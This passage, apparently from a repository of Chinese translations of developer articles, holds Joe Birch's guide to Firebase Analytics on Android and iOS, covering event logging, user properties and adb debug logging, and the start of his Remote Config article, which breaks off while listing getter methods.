的功能使我们仅需要几个步骤就能开始追踪用户和应用程序的数据。\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n`Analytics` 对能更多地了解有关你的应用程序和用户来说是至关重要的。追踪一些事件能让你了解，例如，你的应用程序做了什么，有些用户可能未必知道的功能，用户是怎么探索你的应用程序的，或者当面对需要选择时，用户是怎么做出决定的。从这些数据中学习不仅能帮助你提高应用程序带来的用户体验度，也能帮助你提高应用程序的收入，并且能让你了解什么是需要改进提高的和为未来布局什么新特性。\n\n`Firebase Analytics` 是一个工具，它能真真正正的帮助你了解我们的 `Android` 和 `iOS` 的用户是如何使用我们的应用程序。从启动开始，它会自动开始追踪一些预先设定好的事件 - 这意味着从第一步开始我们就能了解一些事件。在这基础上，我们还能够增加一些我们需要追踪的自定义事件。所有这些事件都能从 `Firebase` 的仪表板中的控制台中观察到 - 它是我们一个集中的入口，包括访问分析报告和其他的 `Firebase` 服务。\n\n一旦我们已经追踪和分析了这些数据，我们可以决定未来对我们的应用程序做出什么修改能带来更好的用户体验。如果你还需要更多，**`Firebase Crash Reporting / Firebase 奔溃报告系统`** 也已经整合进了 `Firebase Analytics / Firebase 分析系统`，它能为观察者创建用户使用中应用程序奔溃的日志报告， **`Firebase Notifications / Firebase 通知系统`** 将为观察者发送通知并且追踪基于有交互通知的事件， **`Firebase Remote Config / Firebase 远程配置系统** 可以帮助观察者远程改变应用程序的外观感受和我们的应用程序的表现， **BigQuery** 用于针对我们一些追踪的事件执行更高级的数据分析,并且 **`Google Tag Manager / 谷歌标记管理器`** 可以让我们通过其他网页应用软件来远程建立我们的 `Firebase Analytics / Firebase 分析系统`。  \n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n我也正在着手编辑一个全方位介绍如何整合 `Firebase 特性` 的指导手册，该手册将对每一个 `Firebase` 的内容进行更加详细的指导，它将会以电子书的形式发布。🙂  对于分析来说，在这本书中，我们会深入如何追踪分析和使用 `Firebase 终端`。请点击下方的图片，当我们发布这本电子书的时候会通知你知道！\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*frcwQV3MRhXAlm76fYKs5g.png)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### `Firebase Analytics` 和 `Google Analytics` 有什么不同? \n\n当我开始阅读有关 `Firebase Analytics` 的时候，潜意识里一下子让我想到，\"那我已经设置好的 Google Analytics 怎么办？\"。所以，如果你已经在使用 `Google Analytics`，那为什么你想要改变到 `Firebase Analytics` 呢？ 好吧，他们两者当然有很多的不同:\n\n**观察者**\n\n我们能使用 `Firebase Analytics` 创建观察者 - 这些是用户的组群，我们之后能使用其他的 `Firebase` 服务和这些组群互动，例如 `Firebase Notifications / Firebase 通知系统` 或者 `Firebase Remote Config / Firebase 远程配置系统`。\n\n**整合其他 `Firebase` 服务**\n\n我们能整合其他 `Firebase` 的服务到 `Firebase Analytics` 中，这是它的一个很棒的特性！举例来说，通过 `Firebase Crash Reporting / Firebase 奔溃报告系统`，为观察者创建遇到应用程序意外奔溃的日志报告。\n\n**更少的接口方法**\n\n`Google Analytics` Android 上一共有 18,607 个方法，依赖库一共占用了 `4kb` 的存储空间。另一方面来说，`Firebase Core` （对于分析服务） 有 15,130 个方法，并且依赖库仅仅占用了 `1kb` 的存储空间。\n\n**自动追踪**\n\n当我们增加了 `Firebase` 的核心依赖库，它就会为我们自动开始追踪一些用户的使用事件和设备的基本信息 - 如果你只需要一些对应用程序使用的基本数据，这是非常有用的。\n\n**无限制的服务日志报告**\n\n`Firebase Analytics` 提供给我们 `500` 多个事件的日志报告，它们都是无限制的并且免费的！\n\n**不需要初始化单例**\n\n当在 `Android` 上创建 `Google Analytics` 的时候，我们需要初始化一个单例。`Firebase Analytics` 可以在我们需要追踪数据的地方，方便地获得实例。当然这并不是什么大事，但是可以让建立过程更加简单。 \n\n**单独的控制台**\n\n每一个 `Firebase` 服务的所有数据都能从一个单独的控制台获取到。它让我们更加方便和快捷的对我们的应用程序在查看分析状态到观看最新的崩溃日志报告之间切换导航。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 我们能追踪什么？\n\n`Firebase` 的开发包提供了一系列以预定义常量的形式定义的常用事件，当追踪事件的时候，它能被使用。如果你只执行一些简单的追踪，那这些预定义的事件应该能覆盖你的需求。换句话说，使用以自定义命名的事件将允许你追踪那些对你应用程序来说很特别的事件，当看到那些由追踪到的结果所生成的报告的时候，它将会对你的应用程序有一个更深层次的分析和认识。\n\n如前文提到的，一旦我们增加了核心依赖，`Firebase Analytics` 会自动为我们开始追踪事件 - 它们是: \n\n* **first_open** - 当用户在首次安装或者重新安装应用程序后，首次启动这个应用程序的时候，这个事件就被追踪了。注意，它并不表示这个应用程序被下载了多少次。\n* **in_app_purchase** - 每当用户通过 `Google Play` 或者 `iTunes` 执行了一次应用内的购买，这个事件就被追踪了。当追踪的时候，这个事件会使用程序的 `name / 名字`，`产品的 ID`，与产品的数量和当前的货币信息来完成应用程序的购买。\n* **user_engagement** - 这个事件追踪用户对应用程序的参与度，也同时记录应用程序在后台的情况。\n* **session_start** - 当用户开始使用这个应用程序的时间超过某一个长度后，这个事件就被追踪了。\n* **app_update** - 当用户把应用程序更新到一个更新的版本并且重新启动的时候，这个事件就被追踪了。当追踪的时候，之前应用程序的版本号会被作为一个参数发送 - 这为了显示与更新版本的差别。\n* **app_remove** - 当用户删除了一个已经安装的应用程序包或者通过他们设备上的应用程序管理器卸载了这个应用程序的时候，这个事件就被追踪了。\n* **os_update** - 当用户更新了他们设备的操作系统的时候，这个事件就被追踪了。当被追踪时，这个操作系统之前的版本会被作为一个参数发送回来。\n* **app_clear_data** - 当用户在他们被追踪的应用程序的设备上清除或者重置了数据，这个事件就被追踪了。\n* **app_exception** - 当这个应用程序抛出一些奔溃的异常信息的时候，这个事件就被追踪了。\n* **notification_foreground** - 当这个应用程序在前台并且收到了一个由 `Firebase Notification` 发来的通知时，这个事件就被追踪了。\n* **notification_receive** - 当这个应用程序在后台并且收到了一个由 `Firebase Notification` 发来通知的时候，这个事件就被追踪了。注意，这个事件仅追踪 `Android` 设备。\n* **notification_open** - 当这个通知被打开了并且使用 `Firebase Notifications` 发送，这个事件就被追踪了。\n* **notification_dismiss** - 当一个通知被取消并且使用 `Firebase Notifications` 发送，这个事件就被追踪了。\n* **dynamic_link_first_open** - 当这个应用程序首次通过一个动态链接被启动了，这个事件就被追踪了。\n* **dynamic_link_app_open** - 当这个应用程序使用了一个动态链接启动的时候，这个事件就被追踪了。\n* **dynamic_link_app_update** - 当这个应用程序通过一个动态链接更新了，这个事件就被追踪了。注意，这个事件只能追踪 `Android` 设备。 \n\n我们也可以使用自定义事件来追踪我们的应用程序。`Firebase` 提供了一份自定义事件列表，我们可能会通过这些分类来使用，例如:\n\n*   [所有的应用程序](https://support.google.com/firebase/answer/6317498?hl=en&ref_topic=6317484)\n*   [零售商 / 电子商务 ](https://support.google.com/firebase/answer/6317499?hl=en&ref_topic=6317484)\n*   [工作，教育，本地产品推介，房地产](https://support.google.com/firebase/answer/6375140?hl=en&ref_topic=6317484)\n*   [旅行产品](https://support.google.com/firebase/answer/6317508?hl=en&ref_topic=6317484)\n*   [游戏产品](https://support.google.com/firebase/answer/6317494?hl=en&ref_topic=6317484)\n\n除了这些，我们也能在我们的应用内定义我们自己的事件。我们会在之后的章节详细讨论!\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 开始使用\n\n开始使用 `Firebase` 是非常简单的。首先，我们需要开始把应用程序增加到 [`Firebase 控制台`](https://console.firebase.google.com/)。一旦我们完成了这步，我们就能把 `Firebase` 的核心依赖增加到我们的项目工程中，开始自动从我们的应用程序的使用中追踪这些事件。让我们开始吧！\n\n### 开始在 `Android` 上使用\n\n**增加核心依赖**\n\n`Firebase Analytics` 的功能可以在 `Firebase` 核心依赖中被发现。所以在我们的应用程序中追踪这些分析的事件，我们需要开始把 `firebase analytics` 的依赖增加到我们的 **build.gradle** 文件中。 \n\n    compile 'com.google.firebase:firebase-core:9.4.0'\n\n**获取这个 `Analytics` 的实例**\n\n一旦我们增加了这个依赖，我们的应用程序将会自动开始追踪这些从应用程序来的默认的事件，例如，启动应用程序，设备信息，地区和其他的标准数据。\n\n    private FirebaseAnalytics firebaseAnalytics;\n\n现在我们已经增加了依赖，我们就可以继续并且使用这些类，我们会使用 `FirebaseAnalytics` 这个类来追踪需要分析的事件。我们需要从在这个类中申明我们想使用的那些对象开始（举个例子来说，这个可能是一个 `activity` 或者 `fragment`）。\n\n    firebaseAnalytics = FirebaseAnalytics.getInstance(this);\n\n一旦这个被申明过了，我们就能从 `Activity / Fragment` 中的 `onCreate()` 方法获取到 `FirebaseAnalytics` 的实例。 \n\n在任何你想发送事件到 `Firebase` 的地方，你都需要取得这个实例。如果你正在使用依赖注入，你能简化这个 - 比如使用 `Dagger 2`:\n\n    @Provides\n    FirebaseAnalytics providesFirebaseAnalytics() {\n        return FirebaseAnalytics.getInstance(activity);\n    }\n\n之后，每当我们想使用这个 `FirebaseAnalytics` 的实例，我们能通过简单的注入一个实例到我们想要的类中，比如:\n\n    @Inject FirebaseAnalytics firebaseAnalytics;\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 开始在 `iOS` 上使用\n\n**增加核心依赖**\n\n`Firebase Analytics` 的功能可以在 `Firebase` 核心依赖中被发现。所以在我们的应用程序中追踪这些分析的事件，我们需要开始把 `Firebase analytics` 的依赖增加到我们的 **Podfile** 文件中。 \n\n    pod ‘Firebase/core’\n\n一旦增加了，确保记得运行以下命令来安装依赖:\n\n    pod install\n\n几乎都完成了！之后，我们需要导入这个依赖，所以我们能在这个应用程序中使用它。为了这个，我们需要增加这个导入的申明到我们的 `.xcworkspace` 文件。\n\n在 `Objective-C` 中:\n\n    @import Firebase;\n\n在 `Swift` 中:\n\n    import Firebase\n\n**配置 `Analytics` 的实例**\n\n一旦我们已经增加了这个依赖到我们的 `podfile` 文件，我们需要配置这个 `Firebase Analytics` 的实例。一旦完成这步，我们的应用程序将会自动开始追踪这些从应用程序来的默认的事件，例如，启动应用程序，设备信息，地区和其他的标准数据。\n\n我们能在 `Objective-C` 中这么做，比如:\n\n    [FIRApp configure];\n\n并且在 `Swift` 中:\n\n    FIRApp.configure()\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 在 `Android` 设备上追踪事件\n\n现在我们已经访问到了 `FirebaseAnalytics` 的类，我们能在应用程序内追踪这个事件了。我们使用由 `Firebase SDK` 提供的 **logEvent()** 方法来追踪这些事件。这个方法需要两个参数:\n\n* **name** - 用字符串来表示事件的名字。这个名字是**区分大小写的**并且最多使用 32 个字符且只能由字母和下划线组成。**注意:** 这个名字必须由一个字母开始。\n* **params** - 一个 `Bundle` 对象包含了一些参数，他们都被相关的事件追踪。这个参数的名字至多可以使用 24 个字符并且就像名字，他们只能由字母和下划线组成，也只能由子母开始。参数取值的类型可以是 `String`, `long` 或者 `double`，并且不能超多 36 个字符。\n\n我们也能通过简单直接调用无参数形的 **logEvent()** 来追踪一个事件，直接把 `null / 空值` 传送到参数就可以。\n\n    firebaseAnalytics.logEvent(“checkout_complete”, null);\n\n然而，如果我们想让参数和事件一同发送，那我们可以把他们包装在一起放到一个 `Bundle` 实例中。这允许我们用一个单独的对象发送多个参数。\n\n    Bundle bundle = new Bundle();\n\n    bundle.putString(“item_purchased”, “Pizza”);\n\n    bundle.putInt(“item_quantity”, 1);\n\n    firebaseAnalytics.logEvent(“checkout_complete”, bundle);\n\n一旦我们调用这个 **logEvent()** 方法，我们的事件就被追踪，并且代表 `Firebase SDK` 发送给 `Firebase` 服务。  \n\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### **在 `iOS` 设备上追踪事件**\n\n现在我们已经访问到了 `FirebaseAnalytics` 的类，我们能在应用程序内追踪这个事件了。我们使用由 `Firebase SDK` 提供的 **logEvent()** 方法来追踪这些事件。这个方法需要两个参数:\n\n* **name** - 用字符串来表示事件的名字。这个名字是**区分大小写的**并且最多使用 32 个字符且只能由字母和下划线组成。**注意:** 这个名字必须由一个字母开始。\n* **params** - 一个 `Bundle` 对象包含了一些参数，他们都被相关的事件追踪。这个参数的名字至多可以使用 24 个字符并且就像名字，他们只能由字母和下划线组成，也只能由子母开始。参数取值的类型可以是 `String`, `long` 或者 `double`，并且不能超多 36 个字符。\n\n举例来说，我们想要追踪那些，当用户通过我们的应用程序分享了一部分内容的时候。\n\n    [FIRAnalytics logEventWithName:Share parameters:@{\n\n        kFIRParameterContentType:@”Facebook article”,\n\n        kFIRParameterId:@”01234”\n\n    }];\n\n所有提供的时间和参数都定义在了 **`FIREventName.h`** 和 **`FIRParameterNames.h`** 头文件中。然而，如果我们希望追踪自定义的事件或者参数，我们能在应用程序内定义自定义的事件和参数 - 这让我们能追踪更多自定义的事件。自定义事件的名字让我们能更灵活地对事那些并没有定义在 `FIREventNames.h` 头文件中的事件进行追踪，同时自定义的参数允许我们追踪与这些事件相关的东西，它可能没有被定义在 `FIREventParameters.h` 的文件中。我们能类似这样追踪自定义的事件和参数:\n\n    [FIRAnalytics logEventWithName:@”share_facebook” parameters:@{\n\n        @”article_name”: articleName,\n\n        @”shared_by”: username,\n\n        @”article_id”: articleId\n\n    }];\n\n**在 `Android` 设备上完整的日志记录**\n\n激活完整的日志记录能让你检查自动和手动配置的事件是否被 `Firebase SDK` 正确的记录在日志中。我们可以在终端中通过输入以下 **`adb`** 命令来开启完整的日志记录:\n\n    adb shell setprop log.tag.FA VERBOSE\n\n    adb shell setprop log.tag.FA-SVC VERBOSE\n\n    adb logcat -v time -s FA FA-SVC\n\n一旦你激活了这个，你能运行调试版本的应用程序并且执行触发需要分析的事件。当事件被触发了，你应该能看到他们被显示在终端控制台中，如下所示:\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*rI8XxWJAMWSV3IxIAAHuBw.png)\n\n\n\n将事件记录在终端中\n\n\n\n如果你不能看到事件被记录，请确认检查你正确调用了前文中讨论的 **logEvent()**方法！\n\n**在 `iOS` 设备上完整的日志记录**\n\n为了确保我们的事件被正确的追踪，我们能方便地通过 `xcode` 来调试我们的 `Firebase Analytics` 的事件 - 事件可能需要花费好几个小时才能被显示在 `firebase` 的控制台中是常有的事。为了用 `xcode` 进行调试:\n\n* 你需要先打开 **`Edit scheme`** 窗口。可以通过从 **`Product`** 到  **`Scheme`**并且从下拉框中选择 **`Edit Scheme`**。 \n* 下一步，在你左手边，你需要从菜单中选择 **`Run`**。\n* 之后，选择刚刚打开的 **`Run`** 窗体中的 **`Arguments`** 标签。\n* 最后，在 **`Arguments Passed on Launch`** 标签内你需要增加： \n\n    -FIRAnalyticsDebugEnabled\n\n这是一个必须的编译标识，它通知 `SDK` 去输出一些分析的事件到控制台。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 用户信息\n\n用户信息允许我们追踪那些使用我们应用程序的用户数据。这让我们可以追踪那些和应用程序本身无关的用户数据，以便我们更加注重用户的需求。就好像事件，`Firebase SDK` 会自动追踪一系列不同用户的信息。这些是:\n\n* **App Version** - 用户安装在设备上的该应用程序的版本。在 `Android` 设备中追踪的是 `versionName`，而在 `iOS` 设备上是 `Bundle` 版本。\n* **Device Model** - 安装了这个应用程序的设备型号。这是设备模型的名字，举例来说，`iPhone 6s`，或者 `SM-G9300`。\n* **Gender** - 在设备上安装了应用程序的用户的性别。\n* **Age** - 在设备上安装了应用程序的用户的年龄。它的数值分为: `18-24`, `25-34`，`35-44`，`45-54`，`55-64` 或者 `65+`。\n* **Interests** - 在设备上安装了应用程序的用户感兴趣的分类。\n* **OS Version** - 该设备运行的操作系统的版本。一般来说是一个数字格式，例如 `6.0` 或者 `9.3.1`\n* **New / Established** - 两个数值来表示应用程序的使用程度。**New** 表示当用户在 7 天内就开始使用了应用程序，然而 **established** 表示用户 7 天前就开始使用应用程序。\n\n**增加一个新的用户属性**\n\n然而，我们并不仅限制单独使用这些属性 - 我们能在 `firebase` 控制台中自定义用户属性。我们能通过导航到 **User Properties** 的标签页，并且选择 **New User Property** 按钮。\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*mRXwy1QL936bFf9DqbVe6A.png)\n\n\n\n\n\n一旦你选择了那个按钮，屏幕上会显示一个弹窗，你可以在弹窗里输入 **User Property** 的详细信息:\n\n* **User property name** - 这个名字被用于识别用户属性。它应该用小写字母，并用下划线分割单词而不是用空格。\n* **Description** - 一个简短的有关这个属性是干什么的描述 (最多 150 字符)。它应该是简洁的但不失描述性，所以你自己和其他人都能轻易明白这个属性在未来表示了什么。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*blLCcbcFLOzlesPBsQ9BEg.png)\n\n\n\n\n\n**在 `Android` 中设立用户属性**\n\n在 `Android` 应用程序中追踪用户属性和追踪事件的方式一样。一旦我们在 `Firebase` 中注册了这个属性（在之前的章节有了详细的介绍），它很方便就如同从 `Firebase SDK` 中调用 **setUserProperty()** 方法。这个方法需要两个参数，他们是 **User Property Name** 和 **User Property Value**，亦是我们想设定的属性。 \n\n    firebaseAnalytics.setUserProperty(\n               “favourite_film_genre”, filmGenre);\n\n一旦追踪了，我们能从 `Firebase` 控制台内观察到被追踪的用户属性。请记住，你会需要等待几个小时才能看到这个更新在控制台内出现。\n\n**在 `iOS` 中设立用户属性**\n\n在 `iOS` 应用程序中追踪用户属性和追踪事件的方式一样。一旦我们在 `Firebase` 中注册了这个属性（在之前的章节有了详细的介绍），它很方便就如同从 `Firebase SDK` 中调用 **setUserProperty()** 方法。这个方法需要两个参数，他们是 **User Property Name** 和 **User Property Value**，亦是我们想设定的属性。 \n\n\n在 `Objective-C` 代码中，我们能这么干:\n\n    [FIRAnalytics setUserPropertyString:filmGenre       \n                                  forName:@”favourite_film_genre”]\n\n在 `Swift` 代码中，它看上去是这样的：\n\n    FIRAnalytics.setUserPropertyString(filmGenre   \n                                  forName:”favourite_film_genre”)\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 总结！\n\n这就是 `Firebase Analytics` 能为我们做到的事情，并且怎么在我们的应用程序中开始实现追踪事件的能力。我希望通过这篇文章你能看到 `Firebase` 为我们带来的好处和方便快捷的搭建方式。\n\n如果你想要学习更多有关 `Firebase analytics` 的内容和其他整合资料，请记得先注册，当我的 `Firebase` 电子书面世的时候会通知提醒你们! ![🚀](https://linmi.cc/wp-content/themes/bokeh/images/emoji/1f680.png)\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "TODO/exploring-firebase-on-android-ios-remote-config.md",
    "content": "> * 原文地址：[Exploring Firebase on Android & iOS: Remote Config](https://medium.com/@hitherejoe/exploring-firebase-on-android-ios-remote-config-3e1407b088f6#.hb0blxber)\n* 原文作者：[Joe Birch](https://medium.com/@hitherejoe)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jamweak](https://github.com/jamweak)\n* 校对者：[Zheaoli](https://github.com/Zheaoli), [Jasper Zhong](https://github.com/DeadLion)\n\n# 探索 Firebase 在 Android 和 iOS 的使用: 远程配置\n\n\n远程配置是 Firebase 套件的一个特性，它允许我们在没有发布任何更新到 Google Play 或 Apple Store 的情况下，改变我们应用的外观及用户体验。 它的工作原理是通过允许我们预先定义一些存于应用内部的参数，然后通过 firebase 的控制台修改这些参数。随后这些参数可以对所有用户激活，或是仅面向某些特定的用户激活。\n\n\n这个强大的特性使得我们有能力进行立即更新、临时更改或是在用户中尝试某些新的特性。让我们来深入学习一下什么是远程配置，为何要使用以及怎样使用它，这不仅给我们带来方便，也使得用户受益。🚀\n\n\n不要忘记查看下我们这个系列的前一篇文章：\n\n*   [**探索 Firebase 在 Android 和 iOS 的使用: 分析**](https://medium.com/exploring-android/exploring-firebase-on-android-ios-analytics-8484b61a21ba#.dgyq5cpoq)\n\n我也正在筹划一本完整的电子书，它可以当做集成 firebase 特性的实际指导教程。这本书将会详细介绍 Firebase 套件相关功能的每个部分。对于远程配置而言，在书中我们将深入分析 firebase 控制台，在应用中集成 firebase 从而真正使用它。点击下面的图片订阅本书的发布消息！🙂\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*adPhI66a3h5h3uX8G0eA1A.png)\n\n\n### 我们能使用 Firebase 的远程配置做什么?\n\n简而言之，远程配置的作用大体上就是能使我们面向用户立即发布应用更新。无论是我们想修改应用在某些窗口下的颜色主题、某些特定的布局或是增加广告/运营宣传等——这完全可以通过修改服务器端的参数来做到，而不用发布一个新的版本。\n\n我们甚至能向某部分用户来完成更新，这使得我们能根据用户段、应用版本号、Firebase 分析中的受众群里、用户的语言等等来完成更新。因此，我们的整个开发流程变得更为灵活，我们可以决定对哪些特定的用户来推送特定的更新。除了这些，我们还可以使用远程配置来针对 Firebase 分析中随机指定的目标做 A/B 测试，甚至是在应用加入新组件时，某些特性的替换。\n\n远程配置带给我们:\n\n*   无需发版，快速简洁地更新我们的应用。例如，我们可以轻松地为那些根据指定条件选定的用户，在应用中切换至新生成的组件。\n*   我们能轻松地对组件进行定制，让其对不同的用户/设备等展现出不同的样式或者交互逻辑。例如，为了适应欧洲和美国用户的需求的差别，我们可能将会根据的确切换至不同的组件。\n*   根据以上，我们能使用远程配置进行 A/B 测试，在决定发布面向全部用户的版本之前，预先面向一部分用户试用我们的新版本应用。\n\n### 远程配置的工作流程\n\n远程配置主要是使用在应用内部定义的一些值来确定你对应用的配置。随后使用 firebease 的控制台来远程改变这些值，这将对定义好的用户群，其应用配置被改变。远程配置只需四步简单的步骤即可使用：\n\n![](https://cdn-images-1.medium.com/max/1760/1*SXNQ6ctxBmtbjCAMIgkgeg.png) ![](https://cdn-images-1.medium.com/max/1760/1*NCvGAEVq7Pl8qHfs3bX4DQ.png) ![](https://cdn-images-1.medium.com/max/1760/1*m8-3ewgI5cX3NdrJPInd_w.png) ![](https://cdn-images-1.medium.com/max/1760/1*SQAXrF83xkWMCSl0onqRnw.png)\n\n### 参数, 配置和场景\n\n在远程配置中我们定义了叫做**参数**的键值对，这些**参数**被用作定义应用中使用的配置值——例如组件颜色，视图中待显示的图形，甚至是表征用户或设备的属性值，这个属性决定组件是否该被显示出来。\n\n为了覆盖参数没有设置或者不能从服务器端配置的情形，我们也提供了应用中的默认值。\n\n这个键值对提供了在应用中可以改变**什么**参数（键, 标识符），以及**怎样**改变我们要更新到应用中的配置（值，配置）。\n\n*   **键** — 键是一个字符串，用来定义参数的标识符\n*   **值** — 值可以是其它任何数据类型，用来表示被定义参数的值\n\n#### 场景\n\n场景是一系列条件的集合，我们可以通过它来匹配特定的应用实例——例如，我们可能希望仅仅面向女性用户修改配置或是面向不想付费的用户。如果指定的所有条件都被某个场景满足，配置也会为此部分的应用实例改变。\n\n**场景值** 本身也是被一个键值对表示，它由以下组成：\n*   **场景** — 值将要被应用到的待匹配场景\n*   **value** — 如果场景被匹配，将要生效的值\n\n我们可以在远程配置的设置过程中对每个参数使用多个**场景值**。这允许我们声明多个条件，必须满足这些条件，参数值才会被应用到应用实例中。\n\n\n#### 优先级\n\n如果我们确实有多个场景值设置，那么我们的应用该怎样确定该使用哪一个值？其实，远程配置使用一系列条件集合来确定从远程配置服务器取得哪些值，这也适用于确定哪些值该被用于应用实例中。\n\n当我们从服务器请求场景值时，需要确定应用实例是否满足所有的条件都被满足。如果仅有一个场景被匹配，那么仅仅会返回它的场景值。另一方面，如果多个场景被匹配，那么优先级最高的值（基本上是远程配置清单中最上面的那个）将会被返回。然而，如果没有场景被匹配，那么服务器中定义的默认值会被返回。**注意**如果这个默认值没有被定义，那么将不会有值被返回。\n\n因此我们必须在我们的应用内以及远程配置控制台中定义这些值——远程配置 SDK 怎样知道哪个值将被使用？下面就轮到一系列优先级规则登场了。服务器端和客户端都定义了一系列规则——服务器需要决定哪些值将被返回，之后一旦应用接收到了服务器返回的这些值，它必须知道是否该使用它们或是使用在应用自身定义的一些值。这些定义的规则像是这样的：\n\n![](https://cdn-images-1.medium.com/max/2000/1*5Gh8GREOVauLT4YWDHbd2w.png)\n\n\n开始时，服务器端需要查看当前的配置值。如果我们有定义的场景值，那么具有最高优先级（在 firebase 控制台的配置清单的最上端）的值将被返回。如果没有匹配的场景值，将返回服务器端配置的默认值——假设这个默认值存在。\n\n在客户端这边，如果我们接收到来自服务器的一个值，那么这个值就是要被用在应用中的那个。然而，如果没有值返回，这时如果客户端有默认值的话就会使用默认值。如果两个值都不存在，那么客户端将会使用默认数据类型的负向值（例如 0、false、null 等等）。\n\n### 远程配置架构\n\n现在我们知道了一点关于远程配置以及怎样使用它的知识，接下来，理解应用端、Firebase API、以及服务器端的通信操作流程是很重要的。在下面的图表中，展示了整个通信流程：\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*g0_e840r5v3wTL_UyzU96A.png)\n\n\n\n从这个表中你能看到远程配置架构主要包括三个核心部分，分别是：\n\n**应用** — 运行在设备中的应用实例。它通过一个 FirebaseRemoteConfig 类的实例直接与 Firebase 库通信。\n\n**Firebase 库** — Firebase 库为我们处理所有的困难工作。它存储默认值，获取服务器端的远程值（也会为我们存储下来），还持有当前正在使用的值（一旦我们使用获取的值之后）。我们不必担心存储或是哪个值可用，我们只需使用库中提供的方法，其它的事情交给它处理。\n\n**服务端** — 服务器端持有所有远程配置的值，我们通过 firebase 控制台来定义它们。\n\n所有的这些是怎样联系到一起的？\n\n*   开始时，我们的应用获取到远程配置类的实例后开始通信，从远程获取配置值。如果还不存在这样的实例，远程配置库会创建它。初始创建实例时，所有的参数（获取的，正在使用的以及默认值）都是空值。\n*   现在我们的应用以及获取到远程配置的实例，它能够为我们的参数设置一些默认值。如果应用试图在这些值被设定之前获取它们，那么远程库将会返回它们的默认值集合。\n*   此时此刻，我们的应用现在能自由地使用一些远程配置库的操作了。在最初，应用可以使用获取方法从服务器端获取远程配置参数。这个调用会被远程配置库初始化，而后当有值返回时，远程配置实例会存储这个值。当有值返回时，这个调用并不会立即改变我们应用的外观和行为——我们必须等待这些值被取出之后才能做出反应。\n*   在我们使用这些获取的参数之前，应用需要使用远程配置库中当前正被使用的值。当调用这个方法时，这些从远程获取的值会被拷贝到库中覆盖那些正在被使用的值。\n*   一旦值被使用，应用就可以使用获取方法去获取远程配置库中的其它类型的值了。\n\n### 远程配置的实现\n\n至此我们了解了一些远程配置的工作原理，接下来让我们看一下如何在应用中实现远程控制。下面这个章节包括三个部分：\n\n*   在 Android 中设置远程配置，设置默认值和获取远程配置值。\n*   在 iOS 中设置远程配置，设置默认值和获取远程配置值。\n*   最后，在服务器端通过 firebase 控制台设定远程配置值以及场景值。\n\n### 在 Android 中实现远程配置\n\n在这个部分，我们将会讨论怎样在 Android 应用中完全配置使用远程配置。让我们开始吧！\n\n\n**添加远程配置依赖**\n\n我们需要从在**build.gradle**文件中添加远程配置库的依赖开始。 鉴于我们只用到 Firebase 套件中的远程配置库，我们可以用以下方式添加依赖：\n\n    compile 'com.google.firebase:firebase-config:9.6.0'\n\n一旦完成，我们就可以在应用全局使用 FirebaseRemoteConfig 类的实例了：\n\n    FirebaseRemoteConfig firebaseRemoteConfig = \n                                     FirebaseRemoteConfig.getInstance();\n\n如果你正在使用依赖注入，那么你可以简化获得这个类的方式，这里有一个使用 Dagger 2 的例子：\n\n    @Provides\n                                     FirebaseRemoteConfig providesFirebaseRemoteConfig() {\n        return FirebaseRemoteConfig.getInstance(activity);\n        }\n\n#### 设置应用中的默认值\n\n接下来我们需要为应用中的一些配置值设定默认值，这是因为：\n\n*   我们可能需要在还没有从服务器获取到配置值之前访问配置值。\n*   服务器端可能不存在任何配置值\n*   设备可能处于不能访问服务器端的状态——比如，离线状态。\n\n可以通过使用 [Map](https://developer.android.com/reference/java/util/Map.html) 或者 XML 文件的方式以键值对的形式设置默认值。在下面的例子中，我们使用 xml 文件来表示默认值：\n\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<defaultsMap>\n    <entry>\n        <key>some_text</key>\n        <value>Here is some text</value>\n    </entry>\n    <entry>\n        <key>has_discount</key>\n        <value>false</value>\n    </entry>\n    <entry>\n        <key>main_color</key>\n        <value>red</value>\n    </entry>\n</defaultsMap>\n```\n\n之后我们能通过远程配置类中的 setDefaults() 方法类设定默认值：\n\n    firebaseRemoteConfig.setDefaults(R.xml.defaults_remote_config);\n\n#### 获取远程配置值\n\n现在我们设定了配置的默认值，然后就可以在应用内使用它们了。在远程配置类中，有 5 个可用方法能让我们使用来获取远程的配置值。当前我们只能够获取并存储以下方法返回的数据类型的值：\n\n*   [getBoolean()](https://firebase.google.com/docs/reference/android/com/google/firebase/remoteconfig/FirebaseRemoteConfig.html#getBoolean%28java.lang.String%29) — 允许我们获取 **boolean** 类型的配置值\n\n    boolean someBoolean =     \n                firebaseRemoteConfig.getBoolean(\"some_boolean\");\n   \n\n*   [getByteArray()](https://firebase.google.com/docs/reference/android/com/google/firebase/remoteconfig/FirebaseRemoteConfig.html#getByteArray%28java.lang.String%29) —允许我们获取 **byte[]** 类型的配置值\n\n    byte[] someArray = firebaseRemoteConfig.getByteArray(\"some_array\");\n   \n\n*   [getDouble()](https://firebase.google.com/docs/reference/android/com/google/firebase/remoteconfig/FirebaseRemoteConfig.html#getDouble%28java.lang.String%29) — 允许我们获取 **double** 类型的配置值\n\n    double someDouble =  firebaseRemoteConfig.getDouble(\"some_double\");\n\n*   [getLong()](https://firebase.google.com/docs/reference/android/com/google/firebase/remoteconfig/FirebaseRemoteConfig.html#getLong%28java.lang.String%29) — 